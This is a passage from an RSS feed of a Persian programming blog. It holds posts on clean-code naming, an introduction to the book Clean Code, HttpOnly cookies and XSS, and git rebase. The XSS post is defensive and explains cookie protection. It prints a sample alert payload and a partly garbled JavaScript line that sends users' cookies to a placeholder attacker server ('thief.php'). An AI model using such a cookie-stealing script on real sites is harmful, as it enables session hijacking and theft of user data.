reverse(char source[], char destination[])توی خوندن کد دوم به راحتی از کلمه های source و destination متوجه کاربرد اون ها و عملکرد تابع می‌شیم. توی کد اول اسم ورودی ها هیچ اطلاعاتی در مورد نقش شون و عملکرد شون بهمون نمی‌ده.کلمه های اضافی بی معنی استفاده نکناز استفاده از حرف هایی که تفاوت معنایی ایجاد نمی کنند بپرهیزید. استفاده از کلماتی مثل the , info, data و … در حالت کلی تفاوت  معنایی ایجاد نمی‌کنند و تنها باعث استفاده از متغیر های مختلف با اسم هایی با معنی یکسان می‌شن.این اسم ها از نظر معنایی چه تفاوتی با هم دارن؟‌ product, theProduct, productInfo, productDataاستفاده از اسم های این چنینی باعث میشه که متغیر هایی با اسم های متفاوت داشته باشیم که تفاوت واقعی شون مشخص نیست و این تاثیر منفی بر خوانایی کد میذاره.از اسم های ناخوانا استفاده نکنکد توی ذهن ما به شکل یه متن عادی خونده می‌شه (باید تلاش کنیم که اینطوری باشه!). پس اگر توی نوشتن کد از کلمه هایی استفاده کنیم که تلفظ کردن شون غیر ممکن یا سخته داریم این کارو سخت می‌کنیم. برای اینه که باید از کلمه های عادی و خوانا برای اسم گذاری ها استفاده کنیم. منظور از کلمه های ناخوانا چیه؟tsmp -&gt; timestampمخفف کردن های بی مورد از نکته هاییه که اینجا هم دیده می‌شه.از اسم های قابل جستجو استفاده کناز اسم های تک حرفی یا غیرقابل جستجو استفاده نکن. یکی از مهم ترین کاربرد های اسم، پیدا کردن تکرار های اون توی یه فایل یا کل کد بیس یه نرم افزاره. استفاده از اسم های تک حرفی یا اسم های بی معنی پیدا کردن متغیر ها با چشم موقع خوندن کد یا پیدا کردن اون ها توسط IDE رو سخت یا غیر ممکن می‌کنه. برای فهمیدن منظور این قسمت فقط کافیه که این دو تا کد رو با هم مقایسه کنین:for (int j=0; j&lt;34; j++) {
    s += (t[j]*4)/5;
}وint realDaysPerIdealDay = 4;
const int WORK_DAYS_PER_WEEK = 5;
int sum = 0;
for (int j=0; j &lt; NUMBER_OF_TASKS; j++) {
    int realTaskDays = taskEstimate[j] * realDaysPerIdealDay;
    int realTaskWeeks = (realdays / WORK_DAYS_PER_WEEK);
    sum += realTaskWeeks;
}البته همونطور که توی مثال هم دیدین یه استثنا وجود داره برای این مورد و اونم counter های داخل حلقه ها هستن. استفاده از اسم های i،j یا k توی شمارنده ها پذیرفته شدست مخصوصا زمانی که scope اون ها خیلی کوچیک باشه و تداخلی با هیچ بخش دیگه ای از کد نداشته باشن.به طور کلی سعی کنین طوری اسم رو انتخاب کنین که کسی که کد رو می‌خونه نیازی نداشته باشه که توی ذهنش اون رو تبدیل به کلمه معناداری کنه. درسته که برنامه نویس ها رو آدم های نسبتا باهوشی می‌دونیم ولی بذارید از این هوش برای کارهای مهم تری استفاده بشه! نه تبدیل کردن اسم های بد به کلمه های معنی دار.اسم گذاری Class هابرای کلاس ها از اسم استفاده کنین (و نه فعل)سعی کنید اسم کلاس بیانگر کاری باشه که قراره اون کلاس انجام بده.همین نگاه ساده تا حدی در مورد بهتر نوشتن کد های شی گرا (Object Oriented) هم می‌تونه کمک کننده باشه. و اگر مسئولیت های زیادی (بیشتر از یکی) برای یک کلاس در نظر گرفته باشین احتمالا موقع انتخاب اسمش هم متوجه اون بشید.همینطور از کلمه های عمومی که معنی مشخصی ندارن توی ترکیب اسم ها دوری کنین.این مثال ها رو ببینین:ProductDataProcessor → ProductAPIOutputTransformerCustomerManager → CustomerProductData → Productبه دلایل واضح، بیشتر نکته هایی که برای اسم متغیر گفته شده برای اسم کلاس ها هم صادقه و باید رعایتشون کرد.نام گذاری متد ها (توابع)نام گذاری متدها هم از اکثر قوانینی که تا اینجا گفته شده پیروی می‌کنه. یکی از نکته های متفاوت برای function ها اینه که از فعل برای اسم اونا استفاده می‌کنیم. فعل بیانگر کاریه که اون متد قراره انجام بده.نمونه های ساده ای از اسم مناسب:savecreatedeleteCustomerبرای متد هایی که اطلاعاتی از یک Object رو تغییر می‌دن یا اونا رو می‌خونن حتما از set و get استفاده کنین.setNamegetNameیه مورد استثنایی که میشه راجع بهش حرف زد متد هاییه که خصوصا برای خوندن مقادیر boolean استفاده می‌شن که توی اون ها میشه به جای get از is استفاده کرد که خوانا تره.این مثال رو ببینین:Class Order {
    private sent = true;
}برای خوندن مقدار sent استفاده از متد isSent به نظرم خوانا تر از getSent هست.یادتون باشه یکی از اصلی ترین دلیل استفاده از این نکته ها اینه که ذهن بتونه کد رو خیلی روون مثل متن عادی و معنا دار بخونه.توی انتخاب اسم ها از شوخی یا کلماتی که فقط برای شما معنا داره استفاده نکنین و سعی کنین شفاف اسم رو انتخاب کنین. ممکنه بامزه یا سرگرم کننده به نظر بیاد که اسم متدی که قراره یه سفارش رو کنسل کنه sendToDowntown بذارین ولی حواستون باشه که این شوخی ممکنه کسی متوجه این کار (حداقل در نگاه اول)‌ نشه. پس پیشنهاد می‌کنم شوخی رو برای جای دیگه ای نگه دارید و توی این شرایط اسم متد رو cancelOrder بذارید. همین موضوع در مورد شوخی ها یا تکیه کلام های داخلی تیم هم صدق می‌کنه. شوخی های داخلی تون رو وارد کد هایی که قراره برای ماه ها یا سال ها باقی بمونه و کارکنه نکنید.هر مفهوم = یک کلمهسرتاسر یه کد بیس برای هر عملکرد یا مفهوم از یک کلمه ثابت استفاده کنین و توی تله استفاده از اسم های مشابه نیفتید.مثلا برای گرفتن اطلاعات از دیتابیس می‌تونید جایی از get و جای دیگه از fetch یا retrieve استفاده کنید. این ها از نظر معنایی و عملکردی درستن. ولی کار شما رو موقع نوشتن و خوندن کد به طور مسخره ای سخت می‌کنن. پس اگر برای گرفتن اطلاعات از get استفاده کردید پاش بایستید و همه جا از همون استفاده کنین.همینطور از استفاده از یک کلمه برای مفاهیم متفاوت هم استفاده نکنین! به طور مثال فرض کنید که شما برای ایجاد اطلاعات جدید همیشه از متد با اسم add استفاده کردید. حالا جایی برای اضافه کردن یک رکورد به یک لیست هم اگر از همین اسم استفاده کنید احتمالا کمی سردرگمی به کد اضافه کردید. پس بهتره اینجا از کلمه هایی مثل insert یا append استفاده کنین.توجه کنید که توی این مثال:add = اضافه کردن رکورد جدید در دیتابیسappend = اضافه کردن یک رکورد به لیستی از داده هابا خیال راحت از اسم های معنا دار برای برنامه نویس ها استفاده کنین. این کار خوندن کد شما رو راحت تر میکنه. در نهایت قراره کد توسط برنامه نویس خونده بشه و اگر یک مفهوم، الگوریتم یا الگو رو می‌تونید با گذاشتن داخل اسم کلاس منتقل کنین حتما این کارو انجام بدین. کلمه هایی مثل queue یا factory که به وضوح به مفهوم مشخصی برای برنامه نویس ها اشاره می‌کنن میتونن کار خوندن و فهمیدن کد رو خیلی سریع تر کنن.جمع بندینوشتن کد تمیز با انتخاب اسم های مناسب شروع می‌شه. توی انتخاب اسم ها دقت به خرج بدید و همینطور وقتی به کدی می‌رسید و می‌بینید اسمی مناسب نیست توی تغییر دادن اون ترس و نگرانی نداشته باشید. نگرانی هایی مثل دلخور کردن برنامه نویس دیگه بابت تغییر اسم نباید جایی توی فرهنگ کاری داشته باشه.یه نکته ای که به نظرم مهم میاد اینه که پیاده کردن این نکته ها توی اسم گذاری نیاز به داشتن اطلاعات زبان انگلیسی خوب داره. به طور کلی هرچقدر دایره واژگان بزرگتری داشته باشید توی اجرای این نکته ها راحت تر خواهید بود. من بعدا در مورد نقش دانستن زبان توی پیشرفت برنامه نویسی حتما بیشتر می‌نویسم.این متن خلاصه و برداشت های من از بخش هایی از کتاب Clean Code بود.این سری ادامه داره.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Mon, 28 Jun 2021 12:06:25 +0430</pubDate>
            </item>
                    <item>
                <title>تحول برنامه نویسی با کتاب Clean Code‌ (معرفی)</title>
                <link>https://virgool.io/coderlife/clean-code-part1-qtcd7hdcxlqw</link>
                <description>کتاب Clean Code نوشته Robert C. Martinاز نظر من این کتاب از مهم‌ترین کتاب‌هاییه که یه برنامه نویس توی مراحل حرفه ای شدنش باید بخونه و معتقدم خوندنش برای کسایی که از مراحل اولیه برنامه نویسی به عنوان یه تخصص عبور کردن کمک می‌کنه که خیلی سریع‌تر حرفه ای بشن و از هم سطح هاشون به طور جدی جلو بیافتن.کتاب کد تمیز - علی فاضلیاین کتاب احتمالا برای کسایی که خیلی تازه کار هستن زیاد مفید نیست ولی به عنوان کسی که ۱۰ سالی هست که با برنامه نویسی درگیره یکی از حسرت هام اینه که چرا زودتر نخوندمش. هدفم از نوشتن این پست ها هم انتقال برداشت های خودم از کتاب به بقیه به خصوص کسایی که جدیدا به طور حرفه ای وارد برنامه نویسی شدنه و هم تشویق همه ی برنامه نویس ها به خوندنش (و صد البته استفاده ازش!).واقعیت امروز بازار کار ایران اینه که افراد خیلی زود می‌تونن توی این شغل وارد بشن و تجربه پیدا کنن و خیلی وقتا این باعث میشه که به سرعت فک کنن که همه چی رو یاد گرفتن. حقیقت تلخ ماجرا هم اینه که من به شکل دردناکی با این موضوع بارها توی زندگی کاریم مواجه شدم و هربار مجبور شدم یه مقداری به عقب برگردم  و یه سری مفاهیم رو دوباره مرور کنم. من سعی خواهم کرد که با این سری پست ها و مقاله های دیگه این بلاگ کمک کنم که این برگشت به عقب ها برای بقیه کمتر اتفاق بیافته و وقتی هم اتفاق میافته سریع‌تر ازش عبور کنن.کتاب Clean Code کتابی نیست که یکبار بخونیم و بذاریمش کنار، در طول زندگی کاری برنامه نویسی خوبه که بارها بهش برگردیم و بخش های مختلفش رو مرور کنیم. من برای نوشتن این سری، مجدد شروع به خوندن کتاب کردم و احتمالا تو سالای آینده هم بهش برمی‌گردم.تشخیص کد خوب و بدSpaghetti-Clean-Code-Ali-Fazeliبرای تشخیص دادن کد خوب از بد نشونه هایی هست که خیلی زود و قبل از بررسی عمیق میتونه شاخک های ما رو تکون بده و بفهمیم که مشکلی وجود داره.جلسه های code review چطور میگذره؟ چقدر مشکلات غیرعادی توی جلسه دیده می‌شه؟بعد از هر release با چه حجمی از ‌‌bug مواجه می‌شید؟چقدر برای هر‌بار ‌release کردن با استرس برنامه ریزی می‌کنید؟برای اضافه کردن هر feature جدید چقدر دردسر می‌کشید؟بخش های خاصی از نرم افزار هست که تا جای ممکن از تغییر دادنش فراری هستید؟چطوری کد تمیز نوشتن رو یاد بگیریم؟یاد گرفتن اصول و قواعد کد تمیز و تمرین و تکرار اون ها و مسلط شدن بهشون کارهاییه که باعث می‌شه به مرور کد تمیز و بهتری رو بنویسیم. حفظ کردن یکسری اصل و قاعده شاید توی مصاحبه های شفاهی شغلی (که روز به روز اهمیت شون کمتر می‌شه) به شما کمک کنه که افراد رو تحت تاثیر قرار بدید، ولی توی اجرای واقعی جایی که باید هنر خودتون رو به استفاده بذارید هیچ کمکی نمی‌کنه. تمرین کردن نوشتن کد تمیز و تکرار و زحمته که شما رو به مرور از بقیه افراد متمایز می‌کنه. نوشتن کد تمیز مثل اکثر پیشرفت های بزرگ، یه روند تموم نشدنیه و هرگز بهش اینطوری نگاه نکنید که این یه تکنیکه که یکبار یادش می‌گیرید و تموم می‌شه.بهترین برنامه نویس های دنیا با هر ماژول، با هر فانکشن و با هر بار فکر کردن شون به Refactor یه کد می‌تونن به برنامه نویس بهتری تبدیل بشن، یعنی هر بار که توی تحلیل یا پیاده سازی یه برنامه به این اصول و قواعد فکر کنید و برای بهتر اجرا کردنش خلاقیت به خرج بدید شما توی کارتون بهتر می‌شید.کتاب به سه بخش اصلی تقسیم شده، بخش اول معرفی تکنیک ها و قواعد نوشتن کد تمیز و چیزهایی مثل این که چطور متد های بهتری بنویسیم. یه متد چقدر می‌تونه طولانی بشه و … که به مرور با هم بررسی شون می‌کنیم. بخش دوم بررسی های عملی روی کد های مختلف و تمیز بازنویسی کردن اون‌هاست این بخش در واقع مرحله تمرین کردن قواعد معرفی شده بخش اوله. بخش سوم که در واقع فصل آخر کتاب هم هست یکسری تکنیک و تجربه برای پیدا کردن جاهایی از کد که احتمالا باعث مشکل می‌شه و پیدا کردن Code Smell هاست. با توجه به این که بخش های تمرینی کتاب خیلی به این سری مقاله ها مرتبط نمی‌شه من کمتر بهش می‌پردازم و بیشتر در مورد تکنیک ها و تجربه ها می‌نویسم.علت نوشتن این سری توسط من و خوندنش توسط شما فقط یک چیزه، تبدیل شدن به برنامه نویس بهتر.به زودی اولین مقاله از سری برداشت های خودم از کتاب Clean Code رو توی همین بلاگ منتشر می‌کنم.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 30 May 2021 09:39:40 +0430</pubDate>
            </item>
                    <item>
                <title>علت وجود Cookie های HttpOnly و کاربرد اون ها</title>
                <link>https://virgool.io/@alimfazeli/%D8%B9%D9%84%D8%AA-%D9%88%D8%AC%D9%88%D8%AF-cookie-%D9%87%D8%A7%DB%8C-httponly-%D9%88-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%AF-%D8%A7%D9%88%D9%86-%D9%87%D8%A7-hszfkm5eqfsr</link>
                <description>چند روز پیش برای رفع یه باگ که کلی پیدا کردنش طول کشیده بود به راهی رسیدم که از یک cookie که وجود داشت و از قبل ست شده بود استفاده کنم. وقتی سعی کردم با javaascript  کوکی رو بخونم دیدم که وجود نداره در حالی که توی developer tools می‌تونستم کوکی رو ببینم!این طوری شد که شروع کردم به تحقیق و چیز جدیدی پیدا کردم که تا حالا بهش بر نخورده بودم و یکم خجالت آور شد برام. اون هم cookie های http-only  بود. نکته ای که در مورد این cookie ها وجود داره به طور خلاصه اینه که browser از خونده شدن اون ها توسط javascript جلوگیری می‌کنه. علتش هم مسائل امنیتیه (جایی خوندم که firefox به دلیل وجود یه باگ هنوز این feature رو نداره).اینفوگرافی XSS Attackخب حالا چیزی که با چشم دیده میشه اما با کد خونده نمیشه چه جوری امنه؟برای درک این مسئله باید یه کمی در مورد حمله های XSS اطلاعات داشته باشیم. Cross Site Scripting به روشی از حمله گفته میشه که هنگام باز کردن یک سایت یا وب اپلیکیشن اسکریپتی از منبعی غیر از اون سایت و بدون اجازه روی اون صفحه لود میشه.  خب قدم خیلی ساده اینه اگه اون یه کد جاواسکریپت مخرب رو توسط یه ورودی به شما ارسال کنه مثل: alert&#40;&#039;hello XSS!&#039;&#41;;خب اینجا خیلی راحت قابل پیشگیریه و اگه فرض کنیم نرم افزار شما ( یا فریم ورکی که استفاده کردید) به اندازه ی کافی باهوش باشه این ورودی رو از یک HTML Encoder عبور میده و اون رو تبدیل به یه متن بی خطر به شکل%3Cscript%3Ealert&#40;&#039;hello%20XSS!&#039;&#41;;%3C/script%3Eمی‌کنه.حالا ربط این به cookie ها چیه؟ همونطور که می‌دونین cookie می‌تونه حاوی اطلاعاتی در مورد session و اطلاعاتی از login کاربر باشه (‌که معمولا کد شدست و به راحتی قابل سواستفاده نیست)‌ اما با این حال باید جلوی دزدیده شدنش رو گرفت. فرض کنید که این لایه امنیتی ساده encoder  وجود نداشته باشه و فردی که اسکریپت مخرب رو لود کرده با یک خط کد ساده تمام اطلاعات cookie  رو به یک سرور دیگه ارسال کنه، در این صورت در مدتی که اسکریپت مخرب روی سایت هدف لود بشه تمام cookie های کاربران در اختیار فرد خرابکار قرار می‌گیره. کد js این کار به همین سادگی میتونه باشه:‌=&quot;http://1.2.3.4:81/thief.php?u=&quot;
+document.links[1].text
+&quot;&amp;l=&quot;+document.links[1]
+&quot;&amp;c=&quot;+;حالا چی؟برای اینکه مشکلی برای شما و اطلاعات کاربرانتون به این روش پیش نیاد باید به ۲ موضوع توجه کنین:اول اینکه قرار نیست سایت یا اپلیکیشن شما نسبت به این حمله اساسا آسیب پذیر باشه و با پیاده سازی صحیح و استفاده از ابزار و زیرساخت های امن و به روز می‌شه تا حد خوبی نگرانی رو برطرف کرد.دوم هم این که در صورت مواجه شدن با این مشکل حتما از قبل اطلاعات حساس احتمالی کاربر رو حتما به صورت encrypt شده و ترجیحا HttpOnly توی cookie ذخیره کنین.برای اطلاعات دقیق تر در مورد جلوگیری از حمله XSS میتونین از این لینک کمک بگیرین.اگه تجربه جالبی در مورد این مسئله دارین چه در مورد جلوگیریش و یا اگر تا حالا مورد این نوع حمله قرار گرفتید و یا اشکال و نقصی مشاهده می‌کنتین خوشحال میشم اینجا یا از طریق ایمیل مطرح کنین.این مطلب رو برای کسایی که اعتقاد دارن Sanitizer خودشون بهتر از ابزار های آمادست یا برای ساده ترین پروژه های نرم افزاری از &quot;فریم ورک خودشون&quot; استفاده می‌کنن هم حتما بفرستید :)</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 12 May 2019 12:11:20 +0430</pubDate>
            </item>
                    <item>
                <title>چه موقع از قابلیت rebase توی git استفاده کنیم؟</title>
                <link>https://virgool.io/@alimfazeli/%DA%86%D9%87-%D9%85%D9%88%D9%82%D8%B9-%D8%A7%D8%B2-%D9%82%D8%A7%D8%A8%D9%84%DB%8C%D8%AA-rebase-%D8%AA%D9%88%DB%8C-git-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%DA%A9%D9%86%DB%8C%D9%85-wbxi6qw5cadz</link>
                <description>گیت ابزاریه که برنامه نویس ها (و اخیرا خیلی‌ های دیگه مثل گرافیست ها و ...) برای داشتن کنترل روی ورژن های نرم افزار و کار تیمی ازش استفاده می‌کنن. هر کسی تو شروع دستور های ساده ای مثل &#x60;push‍‍‍‍&#x60; و &#x60;pull&#x60; و کاربردشون رو یاد می‌گیره. ولی گیت از اون ابزار هاییه که عمق اش ته نداره و راهی جز تجربه کردن هم برای یاد گیری عمیق اش نیست. نکته مثبت اینه که اگر حواستون باشه تقریبا هیچ ریسکی وجود نداره و کافیه هر وقت کار تستی ای می‌خواین انجام بدین اون رو روی یه برنچ جدا از برنچی که روش کار می‌کنین اعمال کنین و در نهایت خیلی راحت به وضعیت قبلی که روش کار می‌کردین برگردین.اگر با rebase آشنا نیستید اول داکیومنت سرراستش رو بخونید.برای من ‫rebase از جمله قابلیت های گیت بود که من مدت ها بدون استفاده ازش کارم رو پیش بردم و کمبود خاصی هم حس نمی‌کردم. بعد از این که یکی منو باهاش آشنا کرد و سعی کردم یادش بگیرم احساس کردم که خودم و پروژه هام رو از داشتن یه history تمیز و عالی محروم کردم و شروع کردم به  squash کردن commit ها  و گذاشتن &#x60;--rebase&#x60; آخر خیلی از pull هام از برنچ اصلی و همچنین استفاده از rebase به جای merge تا جایی که به conflict های عجیب نمی‌خوردم، گاهی هم که مشکلی پیش میومد بر می‌گشتم به همون سیستم merge سابق و تقریبا مشکلی هم نبود. مشکل اصلی از جایی شروع شد که بقیه بچه های تیم رو هم برای داشتن history  تمیز روی برنچ اصلی تشویق به استفاده از rebase کردم. چندین بار با مشکلی مواجه شدیم به این شکل که بچه ها می‌خواستن روی feature branch خودشون push کنن و با این پیغام مواجه می‌شدن‌:‌error: failed to push some refs to &#039;https://github.com/...&#039; 
hint: Updates were rejected because the remote contains work that you do hint: not have locally. This is usually caused by another repository pushing 
hint: to the same ref. You may want to first integrate the remote changes 
hint: (e.g., &#039;git pull ...&#039;) before pushing again.در حالی که هیچ کس جز اون ها روی اون برنچ کار نمی‌کرد و قاعدتا نباید همچین مشکلی بوجود میومد. بعد از این من سعی کردم مفهوم rebase رو درست یاد بگیرم تا علت مشکل رو بفهمم. کلیت چیزی هم که دستگیرم شد این بود:‌ وقتی rebase می‌کنیم، گیت کامیت های برنچی که با اون rebase کردیم رو میاره پشت سر کامیت های برنچ ما قرار میده (از جایی که برنچ ما جدا شده) و کامیت های ما در انتهای اون قرار می‌ده. تا اینجا مشکلی نیست، تنها نکته اینه که کامیت های ما که در انتها قرار می‌گیرن، از نظر message و description و ... کاملا با کامیت های قبلی یکی  هستند ولی sha متفاوتی دارن. یعنی وقتی مجدد روی branch خودمون push می‌کنیم روی remote کامیت های متفاوتی وجود داره و به همین دلیل بدون force کردن امکان push وجود نداره.حالا می‌رسیم به سوال اصلی و اینکه کی rebase کنیم و کی نه. نظر من به طور خلاصه اینه:‌‌  ‌‌‌‌‌‌‌‌‌‌‌‌‌وقتی برنچی که روش کار می‌کنیم رو هنوز push نکردیم و می‌خوایم آپدیتش کنیم با کار بقیه. با این کار از شر کامیت های merge اضافی روی history که به خاطر pull کردن کار بقیه ایجاد می‌شن راحت می‌شیم.اگر برنچ رو پوش کردیم و مطمئنیم اون برنچ روی هیچ برنچی روی remote تا حالا merge نشده می‌تونیم همچنان rebase کنیم، ولی باید حواسمون باشه که به دلیل متفاوت بودن commit sha باید force push کنیم وگرنه با همون خطا مواجه می‌شیم.اگر برنچ روی remote وجود داره و داخل branch های دیگه merge شده هیچ وقت نباید  rebase کنیم.روی برنچ هایی که افراد مختلف ازش استفاده می‌کنن هم نباید rebase انجام شه.با استفاده به جا از rebase می‌شه history تمیز تری داشت و استفاده بدش باعث تلف کردن وقت و حتی کثیف و ناخوانا شدن history میشه.اینو همیشه یادتون باشه: کامیتی که بعد rebase  ایجاد می‌شه تقریبا همون commit قبلیه!خوشحال می‌شم تجربه های خودتون رو هم در این مورد و سایر کارهای جالبی که با گیت می‌شه کرد اینجا بگین.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 28 Oct 2018 21:43:56 +0330</pubDate>
            </item>
            </channel>
</rss>